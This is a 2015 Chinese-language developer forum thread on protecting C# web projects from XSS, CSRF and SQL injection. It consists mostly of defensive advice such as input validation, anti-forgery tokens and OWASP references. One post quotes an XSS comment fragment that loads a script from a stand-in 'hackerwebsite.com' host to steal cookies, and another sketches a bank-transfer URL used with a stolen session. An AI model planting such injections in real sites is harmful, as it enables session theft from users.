c*********e 发帖数: 16335 | 1 【 以下文字转载自 DotNet 讨论区 】
发信人: convergence (Rex), 信区: DotNet
标 题: c# project 防止hacker攻击,大家是用什么framework?
发信站: BBS 未名空间站 (Sat Jul 11 18:35:05 2015, 美东)
如果什么framework(比如telerik, sencha)都不用,只用ado.net之类的ms自己提供的
framework,能防止hacker 攻击吗? 比如xss, csrf. |
k**0 发帖数: 19737 | 2 和framework关系不大. framework不能保证你写的code没有漏洞。
防止攻击通常从两点入手
1, 程序上的漏洞 - 看怎样写code防止hacker利用程序里的漏洞攻击, 比如sql
injection.
2, 系统设置上的漏洞 - 调整http server settings,比如file read/write access
rights,采用的authentication type, turn off directory browsing之类的。
另外如果采用了第三方plugin的话还要注意那些东西的漏洞,最好把access rights分
开设,WP sites就常常因为plugin中招。
【在 c*********e 的大作中提到】 : 【 以下文字转载自 DotNet 讨论区 】 : 发信人: convergence (Rex), 信区: DotNet : 标 题: c# project 防止hacker攻击,大家是用什么framework? : 发信站: BBS 未名空间站 (Sat Jul 11 18:35:05 2015, 美东) : 如果什么framework(比如telerik, sencha)都不用,只用ado.net之类的ms自己提供的 : framework,能防止hacker 攻击吗? 比如xss, csrf.
|
c*********e 发帖数: 16335 | 3 简历上写做过wordpress website,都不好意思应聘程序员吧?
sql injection都是老早以前的事了。现在的xss,csrf真是厉害。比如你写个可以留言
的網頁,人家留言的时候,加入http://hackerwebsite.com/getyourcookie.js" />,那你的网站的cookie的信息就全部被人家盗取了。
【在 k**0 的大作中提到】 : 和framework关系不大. framework不能保证你写的code没有漏洞。 : 防止攻击通常从两点入手 : 1, 程序上的漏洞 - 看怎样写code防止hacker利用程序里的漏洞攻击, 比如sql : injection. : 2, 系统设置上的漏洞 - 调整http server settings,比如file read/write access : rights,采用的authentication type, turn off directory browsing之类的。 : 另外如果采用了第三方plugin的话还要注意那些东西的漏洞,最好把access rights分 : 开设,WP sites就常常因为plugin中招。
|
k**0 发帖数: 19737 | 4 原理是一样的,这种可以自己加一层script去filter. 只有想不到没有做不到。
WP一样可以自己加custom type, 想搞就能搞得复杂,别看不起WP啊。
[在 convergence (Rex) 的大作中提到:]
:简历上写做过wordpress website,都不好意思应聘程序员吧?
:
:........... |
N********n 发帖数: 8363 | 5 曾经为了安全用过一个COOKIE-LESS框架,巨难受。 |
r***s 发帖数: 737 | 6 No frame work can save you. Yet there are principles
To follow
1. Verify every single field that can be manipulated
By user to prevent injection attacks, including SQL injection
Or xss
2. Separate important operation (e.g.money transfer) into two steps and
ensure that first step can not be skipped to defend against csrf
Owasp web site has loads of valuable information
【在 c*********e 的大作中提到】 : 简历上写做过wordpress website,都不好意思应聘程序员吧? : sql injection都是老早以前的事了。现在的xss,csrf真是厉害。比如你写个可以留言 : 的網頁,人家留言的时候,加入http://hackerwebsite.com/getyourcookie.js" />,那你的网站的cookie的信息就全部被人家盗取了。
|
c*********e 发帖数: 16335 | 7 用session不就行了,客户端只有session id。
【在 N********n 的大作中提到】 : 曾经为了安全用过一个COOKIE-LESS框架,巨难受。
|
j******f 发帖数: 825 | 8 developers trust themselves to be capable of thwarting web attacks, that's
the real problem of security |
N********n 发帖数: 8363 | 9
Session id like cookies can be stolen by hacker's script.
【在 c*********e 的大作中提到】 : 用session不就行了,客户端只有session id。
|
b***i 发帖数: 3043 | 10 cookie 难道不是用户的信息?盗取是什么意思?
【在 c*********e 的大作中提到】 : 简历上写做过wordpress website,都不好意思应聘程序员吧? : sql injection都是老早以前的事了。现在的xss,csrf真是厉害。比如你写个可以留言 : 的網頁,人家留言的时候,加入http://hackerwebsite.com/getyourcookie.js" />,那你的网站的cookie的信息就全部被人家盗取了。
|
|
|
c*********e 发帖数: 16335 | 11 比如说你登录了一个银行网站,hacker盗取了你的cookie/session信息,然后他自己通
过一个http://bankname.com/transfermoney?id=12345&amount=10000000
来把你的帐号里的钱转走。
【在 b***i 的大作中提到】 : cookie 难道不是用户的信息?盗取是什么意思?
|
c*********e 发帖数: 16335 | 12 在公共的计算机上登录,没有log out,hacker就能够得到session id, cookies.这个没
办法的事情。
所以,一定要记得log out.如果没log out带来的损失,只能怪忘记log out.
如果是hacker在input box里加入了javascript代码,那就只能filter user input了。
【在 N********n 的大作中提到】 : : Session id like cookies can be stolen by hacker's script.
|
b***i 发帖数: 3043 | 13 我在Azure建了网站,有漏洞,然后你说的Hacker是盗取我的cookie还是我用户的?怎
么盗取?这个cookie不是都在客户端浏览器里吗?
然后,你说的我在我登陆银行网站,假如是在我家,那是Hacker要到我家才能盗取我
cookie信息吧?在公共计算机,如果没有退出登录,那么确实其他人可以得到很多信息
的。这个我理解。
【在 c*********e 的大作中提到】 : 比如说你登录了一个银行网站,hacker盗取了你的cookie/session信息,然后他自己通 : 过一个http://bankname.com/transfermoney?id=12345&amount=10000000 : 来把你的帐号里的钱转走。
|
a9 发帖数: 21638 | 14 咋盗?哪有那么容易
【在 c*********e 的大作中提到】 : 比如说你登录了一个银行网站,hacker盗取了你的cookie/session信息,然后他自己通 : 过一个http://bankname.com/transfermoney?id=12345&amount=10000000 : 来把你的帐号里的钱转走。
|
g*****g 发帖数: 34805 | 15 银行没有那么容易,论坛里你能看到其他人的内容,就容易一些
【在 a9 的大作中提到】 : 咋盗?哪有那么容易
|
a9 发帖数: 21638 | 16 @convergence说的无比简单一样。
现在浏览器防跨站已经相当好了,想拿到其它网站的cookie基本不可能。
【在 g*****g 的大作中提到】 : 银行没有那么容易,论坛里你能看到其他人的内容,就容易一些
|
c*********e 发帖数: 16335 | 17 iframe还是可以有办法拿到parent的信息;parent也可以拿到iframe的信息。
【在 a9 的大作中提到】 : @convergence说的无比简单一样。 : 现在浏览器防跨站已经相当好了,想拿到其它网站的cookie基本不可能。
|
ET 发帖数: 10701 | 18 本地有个startup WP Engine, 就是在WP上给人做定制服务
【在 k**0 的大作中提到】 : 原理是一样的,这种可以自己加一层script去filter. 只有想不到没有做不到。 : WP一样可以自己加custom type, 想搞就能搞得复杂,别看不起WP啊。 : [在 convergence (Rex) 的大作中提到:] : :简历上写做过wordpress website,都不好意思应聘程序员吧? : : : :...........
|
k**0 发帖数: 19737 | 19 not cross domain
【在 c*********e 的大作中提到】 : iframe还是可以有办法拿到parent的信息;parent也可以拿到iframe的信息。
|
H*******g 发帖数: 6997 | 20 1: AntiForgeForm
2: In Web.config, don't set . Set it to medium.
3: Don't visit database table directly. Create a view and visit the view
only.
4: User Stored Procedure to write data.
5: block HTML tag input.
3,4 is really stupid and boring, but it works very well.
Try to read the STIG. It explains what you should do in details. |
|
|
c*********e 发帖数: 16335 | 21 我说的就是cross-domain.我自己亲自做过,能。你不知道方法而已。
not cross domain
【在 k**0 的大作中提到】 : not cross domain
|
c*********e 发帖数: 16335 | 22 现在谁还用stored procedure啊?其实mvc里面用model,也能防止sql injection.
AntiForgeForm,具体怎么做? 象c# .net mvc那样?
【在 H*******g 的大作中提到】 : 1: AntiForgeForm : 2: In Web.config, don't set . Set it to medium. : 3: Don't visit database table directly. Create a view and visit the view : only. : 4: User Stored Procedure to write data. : 5: block HTML tag input. : 3,4 is really stupid and boring, but it works very well. : Try to read the STIG. It explains what you should do in details.
|
c*********e 发帖数: 16335 | 23 5: block HTML tag input. 你是说要block html tag,还是说要把 < > 变成
< >
【在 H*******g 的大作中提到】 : 1: AntiForgeForm : 2: In Web.config, don't set . Set it to medium. : 3: Don't visit database table directly. Create a view and visit the view : only. : 4: User Stored Procedure to write data. : 5: block HTML tag input. : 3,4 is really stupid and boring, but it works very well. : Try to read the STIG. It explains what you should do in details.
|
k**0 发帖数: 19737 | 24 如果你做的网页能随便被外人套个Iframe就hack那只是你自己水平的问题。
[在 convergence (Rex) 的大作中提到:]
:我说的就是cross-domain.我自己亲自做过,能。你不知道方法而已。
:
:........... |
c*********e 发帖数: 16335 | 25 所以,iframe是一个很危险的东西,最稳妥的办法就是,只用它来显示同一个domain的
东西,连subdomain的东西也不要用iframe.
【在 k**0 的大作中提到】 : 如果你做的网页能随便被外人套个Iframe就hack那只是你自己水平的问题。 : [在 convergence (Rex) 的大作中提到:] : :我说的就是cross-domain.我自己亲自做过,能。你不知道方法而已。 : : : :...........
|